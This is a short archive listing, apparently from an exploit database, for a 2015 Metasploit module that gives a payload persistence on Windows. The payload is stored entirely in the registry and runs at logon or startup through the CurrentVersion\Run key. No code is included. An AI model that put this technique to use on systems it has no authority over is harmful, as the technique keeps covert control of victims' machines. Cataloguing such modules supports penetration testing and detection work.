Windows Registry Only Persistence
Posted Sep 4, 2015
Authored by Donny Maasland | Site metasploit.com

This Metasploit module will install a payload that is executed during boot. It will be executed either at user logon or system startup via the registry value in "CurrentVersion\Run" (depending on privilege and selected method). The payload will be installed completely in registry.
